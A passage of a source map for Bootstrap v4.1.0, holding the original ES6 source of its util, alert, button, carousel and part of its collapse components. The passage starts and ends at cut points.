AAmBA,EAAQ,GAHlG,GACA,GAEmHA,EAAQ,GAC1I,MAAM,IAAI1a,MAAM,+EAbpB,CAeG9E","sourcesContent":["export { _createClass as createClass, _defineProperty as defineProperty, _objectSpread as objectSpread, _inheritsLoose as inheritsLoose };\n\nfunction _defineProperties(target, props) {\n for (var i = 0; i < props.length; i++) {\n var descriptor = props[i];\n descriptor.enumerable = descriptor.enumerable || false;\n descriptor.configurable = true;\n if (\"value\" in descriptor) descriptor.writable = true;\n Object.defineProperty(target, descriptor.key, descriptor);\n }\n}\n\nfunction _createClass(Constructor, protoProps, staticProps) {\n if (protoProps) _defineProperties(Constructor.prototype, protoProps);\n if (staticProps) _defineProperties(Constructor, staticProps);\n return Constructor;\n}\n\nfunction _defineProperty(obj, key, value) {\n if (key in obj) {\n Object.defineProperty(obj, key, {\n value: value,\n enumerable: true,\n configurable: true,\n writable: true\n });\n } else {\n obj[key] = value;\n }\n\n return obj;\n}\n\nfunction _objectSpread(target) {\n for (var i = 1; i < arguments.length; i++) {\n var source = arguments[i] != null ? arguments[i] : {};\n var ownKeys = Object.keys(source);\n\n if (typeof Object.getOwnPropertySymbols === 'function') {\n ownKeys = ownKeys.concat(Object.getOwnPropertySymbols(source).filter(function (sym) {\n return Object.getOwnPropertyDescriptor(source, sym).enumerable;\n }));\n }\n\n ownKeys.forEach(function (key) {\n _defineProperty(target, key, source[key]);\n });\n }\n\n return target;\n}\n\nfunction _inheritsLoose(subClass, superClass) {\n subClass.prototype = Object.create(superClass.prototype);\n subClass.prototype.constructor = subClass;\n subClass.__proto__ = superClass;\n}","import $ from 'jquery'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): util.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Util = (($) => {\n /**\n * ------------------------------------------------------------------------\n * Private TransitionEnd Helpers\n * ------------------------------------------------------------------------\n */\n\n const TRANSITION_END = 'transitionend'\n const MAX_UID = 1000000\n const MILLISECONDS_MULTIPLIER = 1000\n\n // Shoutout AngusCroll (https://goo.gl/pxwQGp)\n function toType(obj) {\n return {}.toString.call(obj).match(/\\s([a-z]+)/i)[1].toLowerCase()\n }\n\n function getSpecialTransitionEndEvent() {\n return {\n bindType: TRANSITION_END,\n delegateType: TRANSITION_END,\n handle(event) {\n if ($(event.target).is(this)) {\n return event.handleObj.handler.apply(this, arguments) // eslint-disable-line prefer-rest-params\n }\n return undefined // eslint-disable-line no-undefined\n }\n }\n }\n\n function transitionEndEmulator(duration) {\n let called = false\n\n $(this).one(Util.TRANSITION_END, () => {\n called = true\n })\n\n setTimeout(() => {\n if (!called) {\n Util.triggerTransitionEnd(this)\n }\n }, duration)\n\n return this\n }\n\n function setTransitionEndSupport() {\n $.fn.emulateTransitionEnd = transitionEndEmulator\n $.event.special[Util.TRANSITION_END] = getSpecialTransitionEndEvent()\n }\n\n /**\n * --------------------------------------------------------------------------\n * Public Util Api\n * --------------------------------------------------------------------------\n */\n\n const Util = {\n\n TRANSITION_END: 'bsTransitionEnd',\n\n getUID(prefix) {\n do {\n // eslint-disable-next-line no-bitwise\n prefix += ~~(Math.random() * MAX_UID) // \"~~\" acts like a faster Math.floor() here\n } while (document.getElementById(prefix))\n return prefix\n },\n\n getSelectorFromElement(element) {\n let selector = element.getAttribute('data-target')\n if (!selector || selector === '#') {\n selector = element.getAttribute('href') || ''\n }\n\n try {\n const $selector = $(document).find(selector)\n return $selector.length > 0 ? selector : null\n } catch (err) {\n return null\n }\n },\n\n getTransitionDurationFromElement(element) {\n if (!element) {\n return 0\n }\n\n // Get transition-duration of the element\n let transitionDuration = $(element).css('transition-duration')\n const floatTransitionDuration = parseFloat(transitionDuration)\n\n // Return 0 if element or transition duration is not found\n if (!floatTransitionDuration) {\n return 0\n }\n\n // If multiple durations are defined, take the first\n transitionDuration = transitionDuration.split(',')[0]\n\n return parseFloat(transitionDuration) * MILLISECONDS_MULTIPLIER\n },\n\n reflow(element) {\n return element.offsetHeight\n },\n\n triggerTransitionEnd(element) {\n $(element).trigger(TRANSITION_END)\n },\n\n // TODO: Remove in v5\n supportsTransitionEnd() {\n return Boolean(TRANSITION_END)\n },\n\n isElement(obj) {\n return (obj[0] || obj).nodeType\n },\n\n typeCheckConfig(componentName, config, configTypes) {\n for (const property in configTypes) {\n if (Object.prototype.hasOwnProperty.call(configTypes, property)) {\n const expectedTypes = configTypes[property]\n const value = config[property]\n const valueType = value && Util.isElement(value)\n ? 'element' : toType(value)\n\n if (!new RegExp(expectedTypes).test(valueType)) {\n throw new Error(\n `${componentName.toUpperCase()}: ` +\n `Option \"${property}\" provided type \"${valueType}\" ` +\n `but expected type \"${expectedTypes}\".`)\n }\n }\n }\n }\n }\n\n setTransitionEndSupport()\n\n return Util\n})($)\n\nexport default Util\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): alert.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Alert = (($) => {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\n const NAME = 'alert'\n const VERSION = '4.1.0'\n const DATA_KEY = 'bs.alert'\n const EVENT_KEY = `.${DATA_KEY}`\n const DATA_API_KEY = '.data-api'\n const JQUERY_NO_CONFLICT = $.fn[NAME]\n\n const Selector = {\n DISMISS : '[data-dismiss=\"alert\"]'\n }\n\n const Event = {\n CLOSE : `close${EVENT_KEY}`,\n CLOSED : `closed${EVENT_KEY}`,\n CLICK_DATA_API : `click${EVENT_KEY}${DATA_API_KEY}`\n }\n\n const ClassName = {\n ALERT : 'alert',\n FADE : 'fade',\n SHOW : 'show'\n }\n\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n class Alert {\n constructor(element) {\n this._element = element\n }\n\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n // Public\n\n close(element) {\n element = element || this._element\n\n const rootElement = this._getRootElement(element)\n const customEvent = this._triggerCloseEvent(rootElement)\n\n if (customEvent.isDefaultPrevented()) {\n return\n }\n\n this._removeElement(rootElement)\n }\n\n dispose() {\n $.removeData(this._element, DATA_KEY)\n this._element = null\n }\n\n // Private\n\n _getRootElement(element) {\n const selector = Util.getSelectorFromElement(element)\n let parent = false\n\n if (selector) {\n parent = $(selector)[0]\n }\n\n if (!parent) {\n parent = $(element).closest(`.${ClassName.ALERT}`)[0]\n }\n\n return parent\n }\n\n _triggerCloseEvent(element) {\n const closeEvent = $.Event(Event.CLOSE)\n\n $(element).trigger(closeEvent)\n return closeEvent\n }\n\n _removeElement(element) {\n $(element).removeClass(ClassName.SHOW)\n\n if (!$(element).hasClass(ClassName.FADE)) {\n this._destroyElement(element)\n return\n }\n\n const transitionDuration = Util.getTransitionDurationFromElement(element)\n\n $(element)\n .one(Util.TRANSITION_END, (event) => this._destroyElement(element, event))\n .emulateTransitionEnd(transitionDuration)\n }\n\n _destroyElement(element) {\n $(element)\n .detach()\n .trigger(Event.CLOSED)\n .remove()\n }\n\n // Static\n\n static _jQueryInterface(config) {\n return this.each(function () {\n const $element = $(this)\n let data = $element.data(DATA_KEY)\n\n if (!data) {\n data = new Alert(this)\n $element.data(DATA_KEY, data)\n }\n\n if (config === 'close') {\n data[config](this)\n }\n })\n }\n\n static _handleDismiss(alertInstance) {\n return function (event) {\n if (event) {\n event.preventDefault()\n }\n\n alertInstance.close(this)\n }\n }\n }\n\n /**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\n $(document).on(\n Event.CLICK_DATA_API,\n Selector.DISMISS,\n Alert._handleDismiss(new Alert())\n )\n\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $.fn[NAME] = Alert._jQueryInterface\n $.fn[NAME].Constructor = Alert\n $.fn[NAME].noConflict = function () {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return Alert._jQueryInterface\n }\n\n return Alert\n})($)\n\nexport default Alert\n","import $ from 'jquery'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): button.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Button = (($) => {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\n const NAME = 'button'\n const VERSION = '4.1.0'\n const DATA_KEY = 'bs.button'\n const EVENT_KEY = `.${DATA_KEY}`\n const DATA_API_KEY = '.data-api'\n const JQUERY_NO_CONFLICT = $.fn[NAME]\n\n const ClassName = {\n ACTIVE : 'active',\n BUTTON : 'btn',\n FOCUS : 'focus'\n }\n\n const Selector = {\n DATA_TOGGLE_CARROT : '[data-toggle^=\"button\"]',\n DATA_TOGGLE : '[data-toggle=\"buttons\"]',\n INPUT : 'input',\n ACTIVE : '.active',\n BUTTON : '.btn'\n }\n\n const Event = {\n CLICK_DATA_API : `click${EVENT_KEY}${DATA_API_KEY}`,\n FOCUS_BLUR_DATA_API : `focus${EVENT_KEY}${DATA_API_KEY} ` +\n `blur${EVENT_KEY}${DATA_API_KEY}`\n }\n\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n class Button {\n constructor(element) {\n this._element = element\n }\n\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n // Public\n\n toggle() {\n let triggerChangeEvent = true\n let addAriaPressed = true\n const rootElement = $(this._element).closest(\n Selector.DATA_TOGGLE\n )[0]\n\n if (rootElement) {\n const input = $(this._element).find(Selector.INPUT)[0]\n\n if (input) {\n if (input.type === 'radio') {\n if (input.checked &&\n $(this._element).hasClass(ClassName.ACTIVE)) {\n triggerChangeEvent = false\n } else {\n const activeElement = $(rootElement).find(Selector.ACTIVE)[0]\n\n if (activeElement) {\n $(activeElement).removeClass(ClassName.ACTIVE)\n }\n }\n }\n\n if (triggerChangeEvent) {\n if (input.hasAttribute('disabled') ||\n rootElement.hasAttribute('disabled') ||\n input.classList.contains('disabled') ||\n rootElement.classList.contains('disabled')) {\n return\n }\n input.checked = !$(this._element).hasClass(ClassName.ACTIVE)\n $(input).trigger('change')\n }\n\n input.focus()\n addAriaPressed = false\n }\n }\n\n if (addAriaPressed) {\n this._element.setAttribute('aria-pressed',\n !$(this._element).hasClass(ClassName.ACTIVE))\n }\n\n if (triggerChangeEvent) {\n $(this._element).toggleClass(ClassName.ACTIVE)\n }\n }\n\n dispose() {\n $.removeData(this._element, DATA_KEY)\n this._element = null\n }\n\n // Static\n\n static _jQueryInterface(config) {\n return this.each(function () {\n let data = $(this).data(DATA_KEY)\n\n if (!data) {\n data = new Button(this)\n $(this).data(DATA_KEY, data)\n }\n\n if (config === 'toggle') {\n data[config]()\n }\n })\n }\n }\n\n /**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\n $(document)\n .on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE_CARROT, (event) => {\n event.preventDefault()\n\n let button = event.target\n\n if (!$(button).hasClass(ClassName.BUTTON)) {\n button = $(button).closest(Selector.BUTTON)\n }\n\n Button._jQueryInterface.call($(button), 'toggle')\n })\n .on(Event.FOCUS_BLUR_DATA_API, Selector.DATA_TOGGLE_CARROT, (event) => {\n const button = $(event.target).closest(Selector.BUTTON)[0]\n $(button).toggleClass(ClassName.FOCUS, /^focus(in)?$/.test(event.type))\n })\n\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $.fn[NAME] = Button._jQueryInterface\n $.fn[NAME].Constructor = Button\n $.fn[NAME].noConflict = function () {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return Button._jQueryInterface\n }\n\n return Button\n})($)\n\nexport default Button\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): carousel.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Carousel = (($) => {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\n const NAME = 'carousel'\n const VERSION = '4.1.0'\n const DATA_KEY = 'bs.carousel'\n const EVENT_KEY = `.${DATA_KEY}`\n const DATA_API_KEY = '.data-api'\n const JQUERY_NO_CONFLICT = $.fn[NAME]\n const ARROW_LEFT_KEYCODE = 37 // KeyboardEvent.which value for left arrow key\n const ARROW_RIGHT_KEYCODE = 39 // KeyboardEvent.which value for right arrow key\n const TOUCHEVENT_COMPAT_WAIT = 500 // Time for mouse compat events to fire after touch\n\n const Default = {\n interval : 5000,\n keyboard : true,\n slide : false,\n pause : 'hover',\n wrap : true\n }\n\n const DefaultType = {\n interval : '(number|boolean)',\n keyboard : 'boolean',\n slide : '(boolean|string)',\n pause : '(string|boolean)',\n wrap : 'boolean'\n }\n\n const Direction = {\n NEXT : 'next',\n PREV : 'prev',\n LEFT : 'left',\n RIGHT : 'right'\n }\n\n const Event = {\n SLIDE : `slide${EVENT_KEY}`,\n SLID : `slid${EVENT_KEY}`,\n KEYDOWN : `keydown${EVENT_KEY}`,\n MOUSEENTER : `mouseenter${EVENT_KEY}`,\n MOUSELEAVE : `mouseleave${EVENT_KEY}`,\n TOUCHEND : `touchend${EVENT_KEY}`,\n LOAD_DATA_API : `load${EVENT_KEY}${DATA_API_KEY}`,\n CLICK_DATA_API : `click${EVENT_KEY}${DATA_API_KEY}`\n }\n\n const ClassName = {\n CAROUSEL : 'carousel',\n ACTIVE : 'active',\n SLIDE : 'slide',\n RIGHT : 'carousel-item-right',\n LEFT : 'carousel-item-left',\n NEXT : 'carousel-item-next',\n PREV : 'carousel-item-prev',\n ITEM : 'carousel-item'\n }\n\n const Selector = {\n ACTIVE : '.active',\n ACTIVE_ITEM : '.active.carousel-item',\n ITEM : '.carousel-item',\n NEXT_PREV : '.carousel-item-next, .carousel-item-prev',\n INDICATORS : '.carousel-indicators',\n DATA_SLIDE : '[data-slide], [data-slide-to]',\n DATA_RIDE : '[data-ride=\"carousel\"]'\n }\n\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n class Carousel {\n constructor(element, config) {\n this._items = null\n this._interval = null\n this._activeElement = null\n\n this._isPaused = false\n this._isSliding = false\n\n this.touchTimeout = null\n\n this._config = this._getConfig(config)\n this._element = $(element)[0]\n this._indicatorsElement = $(this._element).find(Selector.INDICATORS)[0]\n\n this._addEventListeners()\n }\n\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n static get Default() {\n return Default\n }\n\n // Public\n\n next() {\n if (!this._isSliding) {\n this._slide(Direction.NEXT)\n }\n }\n\n nextWhenVisible() {\n // Don't call next when the page isn't visible\n // or the carousel or its parent isn't visible\n if (!document.hidden &&\n ($(this._element).is(':visible') && $(this._element).css('visibility') !== 'hidden')) {\n this.next()\n }\n }\n\n prev() {\n if (!this._isSliding) {\n this._slide(Direction.PREV)\n }\n }\n\n pause(event) {\n if (!event) {\n this._isPaused = true\n }\n\n if ($(this._element).find(Selector.NEXT_PREV)[0]) {\n Util.triggerTransitionEnd(this._element)\n this.cycle(true)\n }\n\n clearInterval(this._interval)\n this._interval = null\n }\n\n cycle(event) {\n if (!event) {\n this._isPaused = false\n }\n\n if (this._interval) {\n clearInterval(this._interval)\n this._interval = null\n }\n\n if (this._config.interval && !this._isPaused) {\n this._interval = setInterval(\n (document.visibilityState ? this.nextWhenVisible : this.next).bind(this),\n this._config.interval\n )\n }\n }\n\n to(index) {\n this._activeElement = $(this._element).find(Selector.ACTIVE_ITEM)[0]\n\n const activeIndex = this._getItemIndex(this._activeElement)\n\n if (index > this._items.length - 1 || index < 0) {\n return\n }\n\n if (this._isSliding) {\n $(this._element).one(Event.SLID, () => this.to(index))\n return\n }\n\n if (activeIndex === index) {\n this.pause()\n this.cycle()\n return\n }\n\n const direction = index > activeIndex\n ? Direction.NEXT\n : Direction.PREV\n\n this._slide(direction, this._items[index])\n }\n\n dispose() {\n $(this._element).off(EVENT_KEY)\n $.removeData(this._element, DATA_KEY)\n\n this._items = null\n this._config = null\n this._element = null\n this._interval = null\n this._isPaused = null\n this._isSliding = null\n this._activeElement = null\n this._indicatorsElement = null\n }\n\n // Private\n\n _getConfig(config) {\n config = {\n ...Default,\n ...config\n }\n Util.typeCheckConfig(NAME, config, DefaultType)\n return config\n }\n\n _addEventListeners() {\n if (this._config.keyboard) {\n $(this._element)\n .on(Event.KEYDOWN, (event) => this._keydown(event))\n }\n\n if (this._config.pause === 'hover') {\n $(this._element)\n .on(Event.MOUSEENTER, (event) => this.pause(event))\n .on(Event.MOUSELEAVE, (event) => this.cycle(event))\n if ('ontouchstart' in document.documentElement) {\n // If it's a touch-enabled device, mouseenter/leave are fired as\n // part of the mouse compatibility events on first tap - the carousel\n // would stop cycling until user tapped out of it;\n // here, we listen for touchend, explicitly pause the carousel\n // (as if it's the second time we tap on it, mouseenter compat event\n // is NOT fired) and after a timeout (to allow for mouse compatibility\n // events to fire) we explicitly restart cycling\n $(this._element).on(Event.TOUCHEND, () => {\n this.pause()\n if (this.touchTimeout) {\n clearTimeout(this.touchTimeout)\n }\n this.touchTimeout = setTimeout((event) => this.cycle(event), TOUCHEVENT_COMPAT_WAIT + this._config.interval)\n })\n }\n }\n }\n\n _keydown(event) {\n if (/input|textarea/i.test(event.target.tagName)) {\n return\n }\n\n switch (event.which) {\n case ARROW_LEFT_KEYCODE:\n event.preventDefault()\n this.prev()\n break\n case ARROW_RIGHT_KEYCODE:\n event.preventDefault()\n this.next()\n break\n default:\n }\n }\n\n _getItemIndex(element) {\n this._items = $.makeArray($(element).parent().find(Selector.ITEM))\n return this._items.indexOf(element)\n }\n\n _getItemByDirection(direction, activeElement) {\n const isNextDirection = direction === Direction.NEXT\n const isPrevDirection = direction === Direction.PREV\n const activeIndex = this._getItemIndex(activeElement)\n const lastItemIndex = this._items.length - 1\n const isGoingToWrap = isPrevDirection && activeIndex === 0 ||\n isNextDirection && activeIndex === lastItemIndex\n\n if (isGoingToWrap && !this._config.wrap) {\n return activeElement\n }\n\n const delta = direction === Direction.PREV ? -1 : 1\n const itemIndex = (activeIndex + delta) % this._items.length\n\n return itemIndex === -1\n ? this._items[this._items.length - 1] : this._items[itemIndex]\n }\n\n _triggerSlideEvent(relatedTarget, eventDirectionName) {\n const targetIndex = this._getItemIndex(relatedTarget)\n const fromIndex = this._getItemIndex($(this._element).find(Selector.ACTIVE_ITEM)[0])\n const slideEvent = $.Event(Event.SLIDE, {\n relatedTarget,\n direction: eventDirectionName,\n from: fromIndex,\n to: targetIndex\n })\n\n $(this._element).trigger(slideEvent)\n\n return slideEvent\n }\n\n _setActiveIndicatorElement(element) {\n if (this._indicatorsElement) {\n $(this._indicatorsElement)\n .find(Selector.ACTIVE)\n .removeClass(ClassName.ACTIVE)\n\n const nextIndicator = this._indicatorsElement.children[\n this._getItemIndex(element)\n ]\n\n if (nextIndicator) {\n $(nextIndicator).addClass(ClassName.ACTIVE)\n }\n }\n }\n\n _slide(direction, element) {\n const activeElement = $(this._element).find(Selector.ACTIVE_ITEM)[0]\n const activeElementIndex = this._getItemIndex(activeElement)\n const nextElement = element || activeElement &&\n this._getItemByDirection(direction, activeElement)\n const nextElementIndex = this._getItemIndex(nextElement)\n const isCycling = Boolean(this._interval)\n\n let directionalClassName\n let orderClassName\n let eventDirectionName\n\n if (direction === Direction.NEXT) {\n directionalClassName = ClassName.LEFT\n orderClassName = ClassName.NEXT\n eventDirectionName = Direction.LEFT\n } else {\n directionalClassName = ClassName.RIGHT\n orderClassName = ClassName.PREV\n eventDirectionName = Direction.RIGHT\n }\n\n if (nextElement && $(nextElement).hasClass(ClassName.ACTIVE)) {\n this._isSliding = false\n return\n }\n\n const slideEvent = this._triggerSlideEvent(nextElement, eventDirectionName)\n if (slideEvent.isDefaultPrevented()) {\n return\n }\n\n if (!activeElement || !nextElement) {\n // Some weirdness is happening, so we bail\n return\n }\n\n this._isSliding = true\n\n if (isCycling) {\n this.pause()\n }\n\n this._setActiveIndicatorElement(nextElement)\n\n const slidEvent = $.Event(Event.SLID, {\n relatedTarget: nextElement,\n direction: eventDirectionName,\n from: activeElementIndex,\n to: nextElementIndex\n })\n\n if ($(this._element).hasClass(ClassName.SLIDE)) {\n $(nextElement).addClass(orderClassName)\n\n Util.reflow(nextElement)\n\n $(activeElement).addClass(directionalClassName)\n $(nextElement).addClass(directionalClassName)\n\n const transitionDuration = Util.getTransitionDurationFromElement(activeElement)\n\n $(activeElement)\n .one(Util.TRANSITION_END, () => {\n $(nextElement)\n .removeClass(`${directionalClassName} ${orderClassName}`)\n .addClass(ClassName.ACTIVE)\n\n $(activeElement).removeClass(`${ClassName.ACTIVE} ${orderClassName} ${directionalClassName}`)\n\n this._isSliding = false\n\n setTimeout(() => $(this._element).trigger(slidEvent), 0)\n })\n .emulateTransitionEnd(transitionDuration)\n } else {\n $(activeElement).removeClass(ClassName.ACTIVE)\n $(nextElement).addClass(ClassName.ACTIVE)\n\n this._isSliding = false\n $(this._element).trigger(slidEvent)\n }\n\n if (isCycling) {\n this.cycle()\n }\n }\n\n // Static\n\n static _jQueryInterface(config) {\n return this.each(function () {\n let data = $(this).data(DATA_KEY)\n let _config = {\n ...Default,\n ...$(this).data()\n }\n\n if (typeof config === 'object') {\n _config = {\n ..._config,\n ...config\n }\n }\n\n const action = typeof config === 'string' ? config : _config.slide\n\n if (!data) {\n data = new Carousel(this, _config)\n $(this).data(DATA_KEY, data)\n }\n\n if (typeof config === 'number') {\n data.to(config)\n } else if (typeof action === 'string') {\n if (typeof data[action] === 'undefined') {\n throw new TypeError(`No method named \"${action}\"`)\n }\n data[action]()\n } else if (_config.interval) {\n data.pause()\n data.cycle()\n }\n })\n }\n\n static _dataApiClickHandler(event) {\n const selector = Util.getSelectorFromElement(this)\n\n if (!selector) {\n return\n }\n\n const target = $(selector)[0]\n\n if (!target || !$(target).hasClass(ClassName.CAROUSEL)) {\n return\n }\n\n const config = {\n ...$(target).data(),\n ...$(this).data()\n }\n const slideIndex = this.getAttribute('data-slide-to')\n\n if (slideIndex) {\n config.interval = false\n }\n\n Carousel._jQueryInterface.call($(target), config)\n\n if (slideIndex) {\n $(target).data(DATA_KEY).to(slideIndex)\n }\n\n event.preventDefault()\n }\n }\n\n /**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\n $(document)\n .on(Event.CLICK_DATA_API, Selector.DATA_SLIDE, Carousel._dataApiClickHandler)\n\n $(window).on(Event.LOAD_DATA_API, () => {\n $(Selector.DATA_RIDE).each(function () {\n const $carousel = $(this)\n Carousel._jQueryInterface.call($carousel, $carousel.data())\n })\n })\n\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $.fn[NAME] = Carousel._jQueryInterface\n $.fn[NAME].Constructor = Carousel\n $.fn[NAME].noConflict = function () {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return Carousel._jQueryInterface\n }\n\n return Carousel\n})($)\n\nexport default Carousel\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): collapse.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Collapse = (($) => {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\n const NAME = 'collapse'\n const VERSION = '4.1.0'\n const DATA_KEY = 'bs.collapse'\n const EVENT_KEY = `.${DATA_KEY}`\n const DATA_API_KEY = '.data-api'\n const JQUERY_NO_CONFLICT = $.fn[NAME]\n\n const Default = {\n toggle : true,\n parent : ''\n }\n\n const DefaultType = {\n toggle : 'boolean',\n parent : '(string|element)'\n }\n\n const Event = {\n SHOW : `show${EVENT_KEY}`,\n SHOWN : `shown${EVENT_KEY}`,\n HIDE : `hide${EVENT_KEY}`,\n HIDDEN : `hidden${EVENT_KEY}`,\n CLICK_DATA_API : `click${EVENT_KEY}${DATA_API_KEY}`\n }\n\n const ClassName = {\n SHOW : 'show',\n COLLAPSE : 'collapse',\n COLLAPSING : 'collapsing',\n COLLAPSED : 'collapsed'\n }\n\n const Dimension = {\n WIDTH : 'width',\n HEIGHT : 'height'\n }\n\n const Selector = {\n ACTIVES : '.show, .collapsing',\n DATA_TOGGLE : '[data-toggle=\"collapse\"]'\n }\n\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n class Collapse {\n constructor(element, config) {\n this._isTransitioning = false\n this._element = element\n this._config = this._getConfig(config)\n this._triggerArray = $.makeArray($(\n `[data-toggle=\"collapse\"][href=\"#${element.id}\"],` +\n `[data-toggle=\"collapse\"][data-target=\"#${element.id}\"]`\n ))\n const tabToggles = $(Selector.DATA_TOGGLE)\n for (let i = 0; i < tabToggles.length; i++) {\n const elem = tabToggles[i]\n const selector = Util.getSelectorFromElement(elem)\n if (selector !== null && $(selector).filter(element).length > 0) {\n this._selector = selector\n this._triggerArray.push(elem)\n }\n }\n\n this._parent = this._config.parent ? this._getParent() : null\n\n if (!this._config.parent) {\n this._addAriaAndCollapsedClass(this._element, this._triggerArray)\n }\n\n if (this._config.toggle) {\n this.toggle()\n }\n }\n\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n static get Default() {\n return Default\n }\n\n // Public\n\n toggle() {\n if ($(this._element).hasClass(ClassName.SHOW)) {\n this.hide()\n } else {\n this.show()\n }\n }\n\n show() {\n if (this._isTransitioning ||\n $(this._element).hasClass(ClassName.SHOW)) {\n return\n }\n\n let actives\n let activesData\n\n if (this._parent) {\n actives = $.makeArray(\n $(this._parent)\n .find(Selector.ACTIVES)\n .filter(`[data-parent=\"${this._config.parent}\"]`)\n )\n if (actives.length === 0) {\n actives = null\n }\n }\n\n if (actives) {\n activesData = $(actives).not(this._selector).data(DATA_KEY)\n if (activesData && activesData._isTransitioning) {\n return\n }\n }\n\n const startEvent = $.Event(Event.SHOW)\n $(this._element).trigger(startEvent)\n if (startEvent.isDefaultPrevented()) {\n return\n }\n\n if (actives) {\n Collapse._jQueryInterface.call($(actives).not(this._selector), 'hide')\n if (!activesData) {\n $(actives).data(DATA_KEY, null)\n }\n }\n\n const dimension = this._getDimension()\n\n $(this._element)\n .removeClass(ClassName.COLLAPSE)\n .addClass(ClassName.COLLAPSING)\n\n this._element.style[dimension] = 0\n\n if (this._triggerArray.length > 0) {\n $(this._triggerArray)\n .removeClass(ClassName.COLLAPSED)\n .attr('aria-expanded', true)\n }\n\n this.setTransitioning(true)\n\n const complete = () => {\n $(this._element)\n .removeClass(ClassName.COLLAPSING)\n .addClass(ClassName.COLLAPSE)\n .addClass(ClassName.SHOW)\n\n this._element.style[dimension] = ''\n\n this.setTransitioning(false)\n\n $(this._element).trigger(Event.SHOWN)\n }\n\n const capitalizedDimension = dimension[0].toUpperCase() + dimension.slice(1)\n const scrollSize = `scroll${capitalizedDimension}`\n const transitionDuration = Util.getTransitionDurationFromElement(this._element)\n\n $(this._element)\n .one(Util.TRANSITION_END, complete)\n .emulateTransitionEnd(transitionDuration)\n\n this._element.style[dimension] = `${this._element[scrollSize]}px`\n }\n\n hide() {\n if (this._isTransitioning ||\n !$(this._element).hasClass(ClassName.SHOW)) {\n return\n }\n\n const startEvent = $.Event(Event.HIDE)\n $(this._element).trigger(startEvent)\n if (startEvent.isDefaultPrevented()) {\n return\n }\n\n const dimension = this._getDimension()\n\n this._element.style[dimension] = `${this._element.getBoundingClientRect()[dimension]}px`\n\n Util.reflow(this._element)\n\n $(this._element)\n .addClass(ClassName.COLLAPSING)\n .removeClass(ClassName.COLLAPSE)\n .removeClass(ClassName.SHOW)\n\n if (this._triggerArray.length > 0) {\n for (let i = 0; i < this._triggerArray.length; i++) {\n const trigger = this._triggerArray[i]\n const selector = Util.getSelectorFromElement(trigger)\n if (selector !== null) {\n const $elem = $(selector)\n if (!$elem.hasClass(ClassName.SHOW)) {\n $(trigger).addClass(ClassName.COLLAPSED)\n .attr('aria-expanded', false)\n }\n }\n }\n }\n\n this.setTransitioning(true)\n\n const complete = () => {\n this.setTransitioning(false)\n $(this._element)\n .removeClass(ClassName.COLLAPSING)\n .addClass(ClassName.COLLAPSE)\n .trigger(Event.HIDDEN)\n }\n\n this._element.style[dimension] = ''\n const transitionDuration = Util.getTransitionDurationFromElement(this._element)\n\n $(this._element)\n .one(Util.TRANSITION_END, complete)\n .emulateTransitionEnd(transitionDuration)\n }\n\n setTransitioning(isTransitioning) {\n this._isTransitioning = isTransitioning\n }\n\n dispose() {\n $.removeData(this._element, DATA_KEY)\n\n this._config = null\n this._parent = null\n this._element = null\n this._triggerArray = null\n this._isTransitioning = null\n }\n\n // Private\n\n _getConfig(config) {\n config = {\n ...Default,\n ...config\n }\n config.toggle = Boolean(config.toggle) // Coerce string values\n Util.typeCheckConfig(NAME, config, DefaultType)\n return config\n }\n\n _getDimension() {\n const hasWidth = $(this._element).hasClass(Dimension.WIDTH)\n return hasWidth ? Dimension.WIDTH : Dimension.HEIGHT\n }\n\n _getParent() {\n let parent = null\n if (Util.isElement(this._config.parent)) {\n parent = this._config.parent\n\n // It's a jQuery object\n if (typeof this._config.parent.jquery !== 'undefined') {\n parent = this._config.parent[0]\n }\n } else {\n parent = $(this._config.parent)[0]\n }\n\n const selector =\n `[data-toggle=\"collapse\"][data-parent=\"${this._config.parent}\"]`\n\n 